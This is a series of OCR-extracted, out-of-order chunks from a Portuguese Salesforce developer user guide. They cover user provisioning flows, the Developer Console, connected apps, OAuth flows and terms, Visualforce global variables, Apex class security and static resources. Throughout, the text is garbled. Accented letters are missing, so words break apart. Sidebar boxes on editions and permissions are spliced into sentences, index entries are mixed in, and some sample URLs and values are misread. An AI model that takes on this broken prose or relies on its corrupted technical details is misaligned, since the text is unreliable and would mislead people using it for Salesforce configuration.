28. selecionado na p gina de detalhes Criar o seu pr prio fluxo de provisionamento de usu rios Se os fluxos empacotados n o oferecem suporte ao sistema de terceiros que voc deseja ou para personalizar uma solu o crie o seu pr prio fluxo com a classe UserProvisioningPlugin do Apex e os objetos padr o UserProvisioningRequest e UserProvAccount Ao criar o seu pr prio fluxo salve o com o tipo de fluxo Provisionamento de usu rios Para criar o seu pr prio fluxo certifique se de estar familiarizado com a cria o de fluxos no Flow Designer e o desenvolvimento de acionadores do Apex O fluxo precisa do seguinte e Um acionador do Apex que use a classe UserProvisioningPlugin e As seguintes vari veis de entrada e sa da no fluxo Entrada User UserProvisioningRequest UserProvAccount Sa da ExternalUserId ExternalUsername ExternalFirstName ExternalLastName ExternalEmail Details Status e Pelo menos um plugin do Apex do fluxo deve ter os par metros de entrada e sa da a seguir Entrada userProvisioningRequestId userId namedCredDevName reconFilter reconOffset Sa da ExternalUserId ExternalUsername ExternalFirstName ExternalLastName ExternalEmail Details Status reconState nextReconOffset e Umelemento de pesquisa de registros Pesquisar usu rio para modificar durante a vincula o de contas entre os usu rios do Salesforce e os usu rios do sistema de terceiros Aprimorar o Salesforce com c digo
29. selecione Hide Finished Runs Ocultar execu es conclu das Para encerrar quaisquer implementa es que n o tenham sido conclu das clique em Cancel All Deployments Cancelar todas as implementa es Quando terminar uma implanta o um encadeamento de pesquisas residual aparece na guia Progresso com um breve atraso Implanta es parciais n o s o poss veis Para limpar a tarefa de pesquisa imediatamente atualize o Console do desenvolvedor e Aguia Problems Problemas mostra os detalhes dos erros de compila o no Editor de c digo fonte As altera es que voc faz s o compiladas e validadas no segundo plano Enquanto o c digo editado um indicador de erro exibido ao lado das linhas que cont m erros Clique em uma linha na guia Problems Problemas para ir at a linha de c digo que causou o erro Nota Depois de 20 minutos de inatividade o Console do desenvolvedor interrompe a consulta de novos registros as execu es de teste e os pontos de verifica o Para continuar com as atualiza es clique em Debug Depurar gt Resume Updating Continuar a atualiza o Aprimorar o Salesforce com c digo Guia do usu rio Console do desenvolvedor 5 Atalhos de teclado Para ver uma lista de atalhos do teclado do Console do desenvolvedor clique em Help Ajuda gt Shortcut Keys Teclas de atalho ou pressione CTRL SHIFT CONSULTE TAMB M Usando o Console do desenvolvedor Menu Arquivo Menu Depurar Edit
30. 2 Clique em Novo 3 Insira as informa es sobre a permiss o e R tulo o r tulo da permiss o que aparece em conjuntos de permiss o e Nome 0 nome exclusivo usado pela API e pelos pacotes gerenciados e Descri o como op o uma descri o que explique a quais fun es a permiss o d acesso como Aprovar solicita es de folga e Aplicativo conectado como op o o aplicativo conectado associado permiss o 4 Clique em Salvar CONSULTE TAMB M Permiss es personalizadas Salesforce 251 EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Edi es Group Professional Enterprise Performance Unlimited e Developer Em organiza es com Group e Professional Edition voc n o pode criar ou editar permiss es personalizadas mas poss vel instal las como parte de um pacote gerenciado PERMISSOES DO USUARIO Para criar permiss es personalizadas e Gerenciar permiss es personalizadas Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Editar permiss es personalizadas Edite permiss es personalizadas que d o aos usu rios o acesso a processos ou aplicativos personalizados 1 Em Configura o insira Permiss es personalizadas nacaixa Busca r pida e selecione Permiss es personalizadas 2 Clique em Editar ao lado da permiss o que voc precisa mudar 3 Edite as informa es d
31. Enterprise Performance Unlimited e Developer Aplicativos conectados podem ser instalados em todas as edi es Fazer download de pacotes do AppExchange Para remover um aplicativo conectado da sua organiza o desinstale o pacote do qual o aplicativo faz parte Nota Quando um aplicativo conectado desinstalado as chaves de acesso e de atualiza o de todos os usu rios do aplicativo s o removidas Isso impede que um usu rio execute o aplicativo mais tarde usando uma chave de acesso existente sem aprovar explicitamente o aplicativo ele mesmo Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 196 Aplicativo conectado e terminologia OAuth Chave de acess a 9 l l ED 60 55 Um valor usado pelo consumidor para obter acesso aos recursos protegidos em nome do usu rio em vez de usar as credenciais do Salesforce do usu rio Dispon vel em Salesforce No OAuth 1 0 4 a chave de acesso deve ser trocada por um ID de sess o Classic Para o OAuth 2 0 a chave de acesso um ID de sess o e pode ser usada diretamente Dispon vel em todas as edi es C digo de autoriza o Usado somente no OAuth 2 0 com o fluxo de servidor da Web Uma chave de vida curta que representa o acesso concedido pelo usu rio final O c digo de autoriza o usado para obter PERMISSOES DO uma chave de acesso e uma chave de atualiza o Para o OAuth 1 0 A consulte USU RIO Ch
32. Nase o Aplicativos conectados clique em Novo As informa es inseridas para criar um aplicativo conectado est o divididas nas seguintes partes e Informa es b sicas e API Ativar as Configura es do OAuth e Configura es de aplicativo da Web e Manipulador de aplicativo conectado personalizado e Configura es de aplicativo m vel e Configura es de aplicativo de telas Guia do usu rio Integra o de aplicativos com o Salesforce 165 EDI ES Dispon vel em Salesforce Classic e Lightning Experience Aplicativos conectados podem ser criados em Edi es Group Professional Enterprise Performance Unlimited e Developer Aplicativos conectados podem ser instalados em todas as edi es Voc pode criar um aplicativo conectado sem especificar qualquer autoriza o tela ou configura o de dispositivo m vel Esse tipo de aplicativo conectado se comporta como um favorito para o URL especificado que aparece no Iniciador de aplicativos do usu rio e no menu suspenso do aplicativo Basta inserir informa es b sicas e informar um URL inicial nas Configura es do aplicativo da Web Se o destino exigir autentica o o servi o que hospeda o URL de destino dever solicitar que os usu rios forne am credenciais de login ao navegarem at esse URL Quando voc terminar de inserir as informa es clique em Salvar para salvar seu novo aplicativo Agora voc pode publicar seu aplicati
33. Personalizar aplicativo Para criar atualizar ou excluir Personalizar aplicativo E Modificar todos os dados OU Gerenciar aplicativos conectados Para atualizar todos os campos com Personalizar aplicativo exce o de Perfis Conjuntos de permiss es e Atributos de SAML do provedor de servi os Para atualizar Perfis Conjuntos de Personalizar aplicativo E Modificar todos permiss es e Atributos de SAML do provedor os dados de servi os EDI ES Dispon vel em Salesforce Classic e Lightning Experience Aplicativos conectados podem ser criados em Edi es Group Professional Enterprise Performance Unlimited e Developer Aplicativos conectados podem ser instalados em todas as edi es Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 182 Para desinstalar Fazer download de pacotes do AppExchange Para exibir informa es sobre o uso de aplicativos conectados na organiza o em Configura o insira Uso do Connected Apps OAuth na caixa Busca r pida e selecione Uso do Connected Apps OAuth Aparece uma lista de aplicativos conectados e informa es sobre cada um deles Aplicativo conectado O nome do aplicativo Os aplicativos conectados que foram instalados mas que n o foram utilizados por ningu m n o aparecem na lista Exibir informa es do aplicativo Clique em Exibir informa es do aplicativo par
34. References scorch Field Type Address Size accessibleFields DynamicObjectHandier 0x2ba10de0 12 Acoluna Tipos uma lista adicional de classes de todos os objetos instanciados na mem ria no ponto de verifica o com uma contagem de quantos s o instanciados e a quantidade de mem ria consumida em bytes Clique em um item para visualizar uma lista destes objetos na coluna Inst ncias com o seu endere o no heap e na mem ria consumida Clique em uma inst ncia para visualizar as vari veis atualmente definidas neste objeto na coluna Estado Aguia Refer ncias fornece duas listas para exibir os relacionamentos entre os s mbolos mantidos na mem ria Use a lista Refer ncias de entrada para localizar os s mbolos que podem conter refer ncias aos objetos de um tipo espec fico Use a lista Inst ncias de refer ncia para encontrar inst ncias espec ficas que cont m refer ncias a um s mbolo Clique duas vezes para encontrar a inst ncia em qualquer outro lugar do heap Aguia Pesquisa permite localizar s mbolos no heap pelo valor ou endere o A pesquisa compara valores parcial do s mbolo mas os endere os devem ser exatos Para pesquisar rapidamente um valor clique no cone de pesquisa 9 que aparece direita ao passar o mouse sobre ele no painel Estado e Aguia S mbolos exibe uma visualiza o em rvore de todos os s mbolos em mem ria nesse ponto de verifica o Use a para revisar rapidamente o estado do sistema
35. bem como o ID de usu rio do Salesforce o ID da organiza o e os URLs relacionados de perfil feed etc A seguir h uma resposta no formato JSON sub http login salesforce com id 00Dx000 005x000 user id 005x000 organization id 00Dx000 preferred username user181135222488950007 com nickname userl 3860098879512678E12 name nal LastName email userl 1135222488950007 com email verified true given name nal family name LastName zoneinfo America Los Angeles ohotos picture htto nal salesforos can profilechoto 005 F thumbnail http nal salesforce can profilechoto 005 T profile http nal salesforce com 005x000 picture http nal salesforce com profilephoto 005 F address country us Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 237 urls enterprise http nal salesforce com services Soap c version 00Dx00 Ww partner http nal salesforce com services Soap u version 00Dx00 rest http nal salesforce com services data v version sobjects http nal salesforce com services data v version sobjects search http nal salesforce com services data v version search query http nal salesforce com services data v version query recent http nal salesforce com services dat
36. compartilhamento do Apex e Apex do autor Parar exibir motivos de compartilhamento do Apex e Exibir configura o 1 Nas configura es de gerenciamento para o objeto personalizado clique em Novo na lista relacionada Motivos de compartilhamento do Apex Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 94 2 Insira um r tulo para o motivo de compartilhamento do Apex O r tulo exibe a coluna Mot ivo quando o compartilhamento de um registro exibido na interface do usu rio O r tulo tamb m disponibilizado para tradu o no workbench de tradu o 3 Insira um nome para o motivo de compartilhamento do Apex O nome usado para fazer refer ncia ao motivo na API e no Apex Esse nome pode conter somente sublinhados e caracteres alfanum ricos e deve ser exclusivo na sua organiza o Deve come ar com uma letra n o incluir espa os n o terminar com sublinhado e n o conter dois sublinhados consecutivos 4 Clique em Salvar CONSULTE TAMB M Recalcular o compartilhamento gerenciado do Apex Recalcular o compartilhamento gerenciado do Apex O Importante Ao empacotar objetos personalizados lembre se de que os rec lculos de compartilhamento do Apex associados tamb m est o inclu dos e podem impedir a instala o do pacote Os desenvolvedores podem gerar classes do Apex em lote que fazem o rec lculo do compartilhamento gerenciado do Apex para de
37. deseja ativar na lista Classes do Apex dispon veis e clique em Adicionar ou selecione as classes do Apex que voc deseja desativar da lista Classes do Apex habilitadas e clique em Remover 6 Clique em Salvar CONSULTE TAMB M Configurar o acesso da classe do Apex a partir da p gina Lista de classes Configurar o acesso da classe do Apex a partir da p gina Detalhes da classe Definir o acesso da classe do Apex de perfis Guia do usu rio Componentes do Lightning Apex Visualforce 92 EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Enterprise Performance Unlimited Developer e Database com Editions PERMISS ES DO USU RIO Para definir a seguran a da classe do Apex e Apex do autor E Personalizar aplicativo EDI ES Dispon vel em Salesforce Classic Dispon vel em Edi es Performance Unlimited Developer Enterprise e Database com PERMISS ES DO USU RIO Parar editar as configura es de acesso classe do Apex e Gerenciar perfis e conjuntos de permiss es Aprimorar o Salesforce com c digo Definir o acesso da classe do Apex de perfis Especifique quais m todos em uma classe do Apex de n vel superior s o execut veis para um perfil Essas configura es se aplicam apenas aos m todos de classe do Apex Por exemplo aplique as configura es aos m todos de servi o da web ou a qualquer m todo usado em um co
38. endere os de servi o de email 105 Servi os de email continua o objeto InboundEmail 113 Objeto InboundEmail BinaryAttachment 115 Objeto InboundEmail Header 115 Objeto InboundEmail TextAttachment 115 objeto InboundEmailResult 116 Objeto InboundEnvelope 116 SOQL 11 13 T Testando 59 291 Testando altera es sua organiza o 290 Testando o Apex 292 294 296 298 Testes de unidade 292 294 296 298 tokens revogando 227 Trabalhando com c digo 14 Trabalhos de carregamento de dados em massa exibindo detalhes do trabalho 157 monitorando 155 Trabalhos em lote 65 Transa es reprodu o 5 265 tratamento de exce es n o identificadas 74 U URL inicial no Aplicativo conectado 178 URLs de identidade 230 235 238 Uso da API detalhes 162 notifica es 161 162 usuarios provisionamento 188 190 192 V Valores da vari vel de a o global 41 Vari veis globais SResource 80 no es b sicas 20 Valores v lidos de Action 41 Vari vel global do recurso 80 Visualforce ativando o bate papo 85 c digo fonte 16 componentes personalizados 77 configura es de vers o 75 configura es do navegador 76 conjuntos de permiss es 97 criando guias 3 criando p ginas 68 depurando 5 265 Visualforce continua o desativando o bate papo 85 detalhes da p gina 71 editor 15 16 Estado de exibi o 270 Ferramentas 270 gerenciando p ginas 72 incorporando fluxos 84 Lightning Experien
39. es Voc pode definir a seguran a da classe do Apex via e A p gina da lista de classes do Apex e Uma p gina de detalhes da classe do Apex e Conjuntos de permiss es Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex e Perfis CONSULTE TAMB M Dicas de seguran a para Apex e Visualforce Development http www salesforce com us developer docs apexcode index htm Configurar o acesso da classe do Apex a partir da p gina Lista de classes 1 Em Configura o insira Classes do Apex nacaixa Busca r pida eselecione Classes do Apex 2 Pr ximo ao nome da classe que deseja restringir clique em Seguran a 3 Selecione os perfis que deseja ativar na lista Perfis dispon veis e clique em Adicionar ou selecione os perfis que deseja desativar na lista Perfis ativados e clique em Remover 4 Clique em Salvar CONSULTE TAMB M Configurar o acesso da classe do Apex a partir da p gina Detalhes da classe Configurando o acesso da classe Apex de conjuntos de permiss es Definir o acesso da classe do Apex de perfis Visualforce 91 EDICOES Disponivel em Salesforce Classic e Lightning Experience Disponivel em Enterprise Performance Unlimited Developer e Database com Editions PERMISS ES DO USU RIO Para definir a seguran a da classe do Apex e Apex do autor E Personalizar aplicativo Aprimorar o Salesforce com c digo Configurar o acesso da classe
40. es no Apex usando a chamada da API de metadados deploy 0 Force com IDE ou a Force com Migration Tool O Force com IDE e o Force com Migration Tool s o recursos gratuitos fornecidos pelo Salesforce para auxiliar seus usu rios e parceiros mas n o s o considerados parte de nossos Servi os dentro do escopo do Contrato de assinatura mestre do Salesforce Para criar uma classe 1 Em Configura o insira Classes do Apex nacaixa Busca r pida eselecione Classes do Apex 2 Clique em Novo 3 Clique em Configura es da vers o para especificar a vers o do Apex e a API usada com essa classe Se sua organiza o tiver instalado pacotes gerenciados pelo AppExchange voc tamb m poder especificar qual vers o de cada pacote gerenciado dever ser utilizada com essa classe Use os valores padr o para todas as vers es Isso associa a classe com a vers o mais recente do Apex e da API al m de a cada pacote gerenciado Voc pode especificar uma vers o mais antiga de um pacote gerenciado caso queira acessar os componentes ou funcionalidades diferentes Visualforce 50 EDI ES Dispon vel em Salesforce Classic Dispon vel em Edi es Performance Unlimited Developer Enterprise e Database com PERMISS ES DO USU RIO Para definir editar excluir definir a seguran a definir as configura es da vers o mostrar depend ncias e executar testes de classes do Apex e Apex do autor da vers o do pa
41. geralmente o servidor da Web forma um link ou envia um redirecionamento HTTP para o navegador A seguir h um exemplo de uma solicita o para um ponto final de autoriza o de um cliente do servidor Web https login salesforce com services oauth2 authorize response type code amp client id 3MVG91KcPONINVBIPJjdw1lJ9LLM82HnFVVX1 9KY1LuASmu0QqEWhqKpoW3svG3XHrxXDiCQjKilmdgAvhCscA 9GE amp redirect uri https 3A 2F 2Fwww mysite com 2Fcode callback jsp amp state mystate Se o usu rio estiver conectado o Salesforce o redirecionar para a pagina de aprova o Se o usu rio n o estiver conectado ser solicitado que efetue login depois ele ser redirecionado para a p gina de aprova o em que ele concede acesso ao aplicativo Se o acesso do usu rio j tiver sido aprovado uma vez ele n o precisar de aprova o novamente Callback recebido do servidor Web Quando o usu rio aprova o acesso ele redirecionado para o URI especificadoem uri de redirecionamento com os seguintes valores na string de consulta e c digo C ddigo de autoriza o que o consumidor deve usar para obter as chaves de acesso e de atualiza o e estado Estado que foi informado na etapa de aprova o Isso n o ser inclu do se o par metro state n o for inclu do na string de consulta original Se o acesso do usu rio j tiver sido aprovado uma vez ele n o precisar de aprova o novamente A seguir h um exemplo da solicita o r
42. m de um aviso de que o desenvolvedor foi notificado por email Se voc for o desenvolvedor e estiver no mesmo namespace da p gina e n o estiver no modo de desenvolvimento ver uma mensagem de exce o Voc tamb m poder ver uma mensagem indicando que desenvolvedor foi notificado Se voc estiver no modo de desenvolvimento ver a mensagem e o tipo de exce o bem como o rastreamento de pilha do Apex CONSULTE TAMB M Depurando o seu c digo Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 75 Gerenciando configura es de vers o para as p ginas e componentes personalizados do Visualforce Para auxiliar na compatibilidade com vers es anteriores cada p gina e componente personalizado do Visualforce salvo com as configura es da vers o especificada da API e tamb m do Visualforce Se a p gina ou o componente do Visualforce fizer refer ncia aos pacotes gerenciados instalados as configura es da vers o de cada pacote gerenciado mencionadas pela p gina ou componente tamb m ser o salvas Isso garante que a medida que o Visualforce a API e os componentes dos pacotes gerenciados evoluem para as vers es subsequentes as p ginas e os componentes do Visualforce ainda est o vinculados s vers es com comportamento espec fico e conhecido Vers o do pacote um n mero que identifica o conjunto de componentes carregados em um pacote O n mero da vers o tem
43. ncia ao ID do usu rio atual para determinar se ele o propriet rio do registro Use um exemplo como esse para assegurar que somente o propriet rio do registro ou usu rios com perfil de administrador possam fazer altera es em um campo personalizado chamado Meta pessoal AND ISCHANGED Personal Goal c Owner lt gt SUser Id SProfile Name lt gt Custom System Admin Para acessar facilmente o nome do usu rio em execu o use uma f rmula de fluxo Crie uma f rmula de fluxo Text com esta express o SUser FirstName amp amp S User LastName Ap s criar a f rmula referencie a quando precisar chamar o usu rio pelo nome no fluxo Referenciando a vari vel global User voc evita o uso de uma pesquisa o que contaria para os limites do fluxo O exemplo a seguir exibe o nome da empresa do usu rio atual assim como o status dele que retorna um valor booleano lt apex page gt lt h1i gt Congratulations lt h1 gt This is your new Apex Page lt p gt The current company name for this user is SUser CompanyName lt p gt lt p gt Is the user active SUser isActive lt p gt lt apex page gt Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Dicas Visualforce 39 e O usu rio atual a pessoa que muda o registro que solicitou o valor padr o a regra de valida o ou outra opera o que use esses campos de mesclagem global e Quando um p
44. o Use Exemplos do Visualforce Dicas SLabel Descri o Use Visualforce 23 Use essa vari vel global em uma p gina do Visualforce para referenciar o nome da p gina atual SCurrentPage Name ou o URL da p gina atual SCurrent Page URL Use SCurrentPage parameters parameterName para fazer refer ncia a par metros e valores de solicita o de p gina em que parameterName o par metro de solicita o sendo referenciado lt apex page standardController Account gt lt apex pageBlock title Hello SUser FirstName gt You belong to the account name account lt br gt You re also a nice person lt apex pageBlock gt lt apex detail subject account relatedList false gt lt apex relatedList list OpenActivities subject CurrentPage parameters relatedId gt lt apex page gt Essa vari vel global s est dispon vel para p ginas do Visualforce D acesso a um conjunto de campos definido na sua organiza o Use isso nas p ginas do Visualforce para iterar dinamicamente em campos de um conjunto de campos necess rio prefixar essa vari vel global para o objeto padr o ou personalizado que tem o conjunto de campos lt apex page standardController Account gt lt apex repeat value SAccount FieldSet mySpecialFields var field gt lt apex outputText value field gt lt apex repeat gt lt apex page gt Essa vari vel global s est dispon
45. title gt SRequest titleText lt h2 gt O s control abaixo chama esse snippet usando a fun o INCLUDE enviando a ele os par metros para o t tulo e o tema da p gina HTML criada lt html gt lt head gt lt head gt lt body gt INCLUDE SControl Title Snippet titleTheme modern titleText My Sample Title Insert your page specific content here lt body gt lt html gt Dicas N o use Request em p ginas do Visualforce para fazer refer ncia a par metros de consulta Em vez disso use Current Page Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex SResource Descri o Use Exemplos do Visualforce Dicas SControl Visualforce 32 Tipo de campo de mesclagem global a ser usado para fazer refer ncia ao recurso est tico existente por nome em uma p gina do Visualforce Tamb m poss vel usar campos de mesclagem de recursos em fun es URLFOR para fazer refer ncia a um arquivo espec fico em um arquivo de recursos est ticos Use Resource para fazer refer ncia a um recurso est tico existente O formato SResource nameOfResource como SResource TestImage O componente do Visualforce abaixo faz refer ncia a um arquivo de imagem que foi carregado como um recurso est tico e recebeu o nome de Test Image lt apex image url SResource TestImage width 50 height 50 gt Para fazer refer ncia a um arquivo
46. usado com xito antes de 7 dias o monitoramento do per odo de inatividade reiniciado e o token se torna v lido por mais 7 dias e Expirar token de atualiza o depois de n Essa configura o invalida o token de atualiza o depois de um per odo de tempo fixo Por exemplo se a pol tica estabelece 1 dia o token de atualiza o pode ser usado para obter novas sess es por 24 horas Depois de 24 horas o token n o pode ser usado Uma sess o de usu rio pode ser mantida por uso Seu per odo de validade definido pelo Valor de tempo limite para o aplicativo conectado perfil de usu rio ou configura es de sess o da organiza o nessa ordem A Pol tica da token de atualiza o s avaliada durante o uso do token de atualiza o emitido e n o afeta a sess o atual do usu rio Os tokens de atualiza o s s o necess rios quando a sess o do usu rio expirou ou n o est mais dispon vel Por exemplo se voc configurar uma Politica de token de atualiza o para Expirar token de atualiza o ap s 1 hora e o usu rio usar o aplicativo por duas horas ele n o ser for ado a se autenticar depois de uma hora O usu rio ter que se reautenticar apenas quando a sess o expirar o e cliente tentar trocar seus tokens de atualiza o para uma nova sess o O valor de tempo limite est dispon vel apenas para aplicativos conectados ativados por OAuth Esse valor define a expira o dos tokens de acesso para a sess
47. vel para paginas do Visualforce Um tipo de campo de mesclagem global para ser usado ao referenciar um r tulo personalizado 1 Selecione o tipo de campo Label 2 Selecione o r tulo personalizado que deseja referenciar O valor retornado depende da configura o de idioma do usu rio contextual O valor apresentado um dos seguintes em ordem de preced ncia 1 O texto da tradu o local 2 Otexto da tradu o empacotada 3 Otexto do r tulo mestre Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Exemplo de fluxo Exemplos do Visualforce Exemplo de componentes do Lightning Dicas SLabel Site Descri o Use Visualforce 24 Crie uma f rmula de fluxo cuja express o a seguinte SLabel customCurrency label Em seguida referencie a f rmula de fluxo como o r tulo de um campo de tela lt apex page gt lt apex pageMessage severity info strength 1 summary SLabel firstrun helptext gt lt apex page gt R tulo em uma express o de marca o usando o namespace padr o SLabel c labelName R tulo em c digo JavaScript se sua organiza o tiver um namespace SA get SLabel namespace labelName Esta vari vel global est dispon vel apenas para componentes do Lightning p ginas do Visualforce Apex f rmulas de fluxo e f rmulas de processo Tipo de campo de mesclagem global a ser usado para fazer refer ncia a um r tul
48. 0 15 0 09 4 0 n a n a n a n a n a Show Methods Queries Workflow Callouts DML Validations Triggers Pages inferior da guia podem ser usados para filtrar as informa es por tipo de item Por exemplo se n o deseja visualizar os detalhes de m todos clique em Methods M todos Clique no bot o uma segunda vez para limpar o filtro A guia Unidades executadas cont m estas informa es Aprimorar o Salesforce com c digo Coluna Qual Nome Soma M d M x M n Contagem Heap Tipo de consulta Linhas de somat ria M d de linhas M x de linhas M n de linhas Descri o Tipo do item do processo Os tipos incluem M todo Consultas Fluxo de trabalho Callouts DML Valida es Acionadores Paginas Nome do item do processo Dura o total referente ao item Dura o m dia referente ao item Dura o m xima para o item Dura o m nima para o item N mero de vezes que o item foi chamado durante o processo Quantidade de espa o que o item ocupou no heap Tipo de consulta Os valores poss veis s o SOQL SOSL N mero total de registros alterados para o item N mero m dio de registros alterados para o item N mero m ximo de registros alterados para o item N mero m nimo de registros alterados para o item Para classificar as informa es por uma coluna espec fica clique no cabe alho dela Importante Se estiver usando
49. 8 d gitos e Os atributos personalizados est o dispon veis para todos os aplicativos conectados Os desenvolvedores podem definir metadados de SAML personalizado ou atributos de OAuth personalizados para o aplicativo conectado Os administradores podem excluir ou editar esses atributos ou adicionar atributos personalizados Os atributos exclu dos editados ou adicionados por administradores substituem os atributos definidos pelos desenvolvedores Para obter mais informa es consulte Editar empacotar ou excluir um aplicativo conectado na p gina 172 Manipulador do Connected App personalizado Personalize o comportamento de um aplicativo conectado com o Apex Crie uma classe que estenda a classe Connect edAppPlugin do Apex e associe a a um aplicativo conectado A classe pode oferecer suporte a novos protocolos de autentica o ou responder a atributos de usu rio de modo a beneficiar um processo de neg cio O plug in executado em nome de uma conta de usu rio No campo Executar como selecione o usu rio para o plug in Se o usu rio n o estiver autorizado para o aplicativo conectado use o m todo authorize para fazer isso Para obter mais informa es consulte a classe ConnectedAppPlugin no Force com Apex Code Developer s Guide CONSULTE TAMB M Editar um aplicativo conectado Provisionamento de usu rios para aplicativos conectados Monitoramento de uso de um Aplicativo conectado PERMISS ES DO USU RIO Para ler
50. A Para o OAuth 2 0 consulte C digo de autoriza o Provedor de servi os Um aplicativo da web que permite o acesso usando o OAuth Esta sua inst ncia do Salesforce ap s a ativa o do acesso remoto Segredo da chave Um segredo usado pelo consumidor para estabelecer propriedade de uma determinada chave para chaves de solicita o e chaves de acesso Usu rio Uma pessoa que tem um login do Salesforce CONSULTE TAMB M Autenticando aplicativos com o OAuth Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 197 Autentica o de aplicativos Autenticando aplicativos com o OAuth Quando um usu rio solicita seus dados do Salesforce por meio do aplicativo externo a p gina do EDICOES consumidor ele deve ser autenticado pelo Salesforce Existem diversas etapas em cada fluxo de autentica o conforme determinado pelo padr o OAuth e qual est tentando acessar o Salesforce Dispon vel em Salesforce O Salesforce compat vel com fluxos de autentica o do OAuth vers es 1 0A e 2 0 Classic e OAuth 1 0 A Esta vers o do OAuth possui apenas um fluxo Dispon vel em todas as e Servidor da Web OAuth 2 0 0 fluxo de autentica o do servidor da Web usado por aplicativos edi es que s o armazenados em um servidor seguro Um aspecto cr tico do fluxo do servidor da Web que o servidor deve conseguir proteger o segredo do consumidor Voc tamb m pode usar PERMI
51. Abrir no menu Console do desenvolvedor permite que voc procure e abra seu c digo de aplicativo e objetos de dados Open x ET CTT aea Setup Name Namespace Name Extent Direction Classes AcceptedEventRelati a Triggers Account i Pages AccountContactRole Page Components AccountFeed Objects AccountHistory Static Resources AccountPartner Packages AccountShare ActivityHistory AdditionalNumber Open Filter Click here to filter the repository Para navegar at um item na janela Open Abrir 1 Na coluna Setup Entity Type Tipo de entidade de configura o clique no tipo de item que voc deseja localizar Aprimorar o Salesforce com c digo Guia do usu rio Console do desenvolvedor 10 2 Nacoluna Entities Entidades role e localize o item que deseja examinar Para filtrar os itens exibidos clique na caixa de entrada de texto Filter Filtrar e digite a string de texto para exibir somente os itens que correspondem aos crit rios do filtro A pesquisa diferencia mai sculas de min sculas 3 Para ver itens relacionados na coluna Related Relacionados clique no item uma vez Por exemplo clique em um objeto para ver as classes do Apex que o utilizam 4 Para abrir o item em uma guia clique duas vezes nele ou o selecione e clique em Open Abrir Arquivos de c digo s o abertos no Editor de c digo fonte enquanto os objetos de dados s o abertos na exibi o do Inspetor de objeto poss v
52. CUR As informa es s o usadas para concluir a atividade para as quais foram fornecidas Categoria STA Mecanismos para manter uma sess o stateful com um usu rio ou automaticamente reconhecer usu rios que visitaram determinado site ou acessaram determinado conte do anteriormente por exemplo cookies HTTP Destinat rio OTR Pessoas jur dicas seguindo diferentes pr ticas Os usu rios n o podem optar por us las ou n o Se seu navegador estiver configurado para suportar P3P esse cabe alho permitir a exibi o de todas as p ginas do Visualforce Para obter mais informa es sobre o P3P consulte Platform for Privacy Preferences P3P Project Se seu navegador estiver configurado para bloquear cookies de terceiros e n o usar o cabe alho P3P voc poder ver um erro semelhante ao acima execute uma das seguintes a es e Configurar P3P para seu navegador e Alterar as configura es do navegador para permitir cookies de terceiros e Adicionar o servidor adequado a lista de exce o de cookies do navegador Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 77 Componentes do Visualforce O que um componente personalizado O Salesforce oferece uma biblioteca de componentes padr o predefinidos como EDI ES lt apex relatedList gt e lt apex dataTable gt que pode ser usada para desenvolver p ginas do Visualforce Al m disso voc pode criar seus co
53. Consulte Verificando a cobertura de c digo CONSULTE TAMB M Trabalhar com Execu o de teste do Apex http www salesforce com us developer docs apexcode Content apex code coverage best pract htm Execu o de teste do Apex Trabalhar com Execu o de teste do Apex 1 Em Configura o insira Execu o de teste do Apex nacaixa Busca r pida e selecione Execu o de teste do Apex 2 Clique em Selecionar testes Nota Se voc tiver as classes do Apex que s o instaladas de um pacote gerenciado deve compilar essas classes clicando inicialmente em Compilar todas as classes na p gina Classes do Apex para que apare am na lista Consulte Gerenciar classes do Apex na p gina 56 3 Selecione os testes a serem executados A lista de testes inclui somente as classes que cont m m todos de teste e Para selecionar os testes de um pacote gerenciado instalado selecione na lista suspensa o namespace correspondente ao pacote gerenciado Somente as classes do pacote gerenciado com o namespace selecionado aparecem na lista e Para selecionar os testes que existem localmente na sua organiza o selecione Meu Namespace na lista suspensa Somente classes locais que n o s o se pacotes gerenciados aparecem na lista e Para selecionar qualquer teste selecione Todos Namespaces na lista suspensa Todas as classes na organiza o aparecem independente ou n o de serem de um pacote gerenciado 7 Nota As classes cu
54. Definindo recursos est ticos Definindo recursos est ticos Para criar um recurso est tico 1 Em Configura o insira Recursos est ticos nacaixa Busca r pida eselecione Recursos est ticos 2 Clique em Novo 3 Nacaixa de texto Nome digite o texto que dever ser usado para identificar o recurso na marca o do Visualforce Esse nome pode conter somente sublinhados e caracteres alfanum ricos e deve ser exclusivo na sua organiza o Deve come ar com uma letra n o incluir espa os n o terminar com sublinhado e n o conter dois sublinhados consecutivos Nota Se voc fizer refer ncia a um recurso est tico na marca o do Visualforce e depois alterar o nome do recurso a marca o do Visualforce ser atualizada para refletir a altera o 4 Na readetexto Descri o especifique uma descri o opcional para o recurso 5 Ao lado da caixa de texto Arquivo clique em Procurar para navegar at uma c pia local do recurso que deseja carregar EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Edi es Contact Manager Group Professional Enterprise Performance Unlimited e Developer PERMISS ES DO USU RIO Para criar recursos est ticos e Personalizar aplicativo Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 82 Um nico recurso est tico pode ter at 5 MB e uma organiza o pode ter at 2
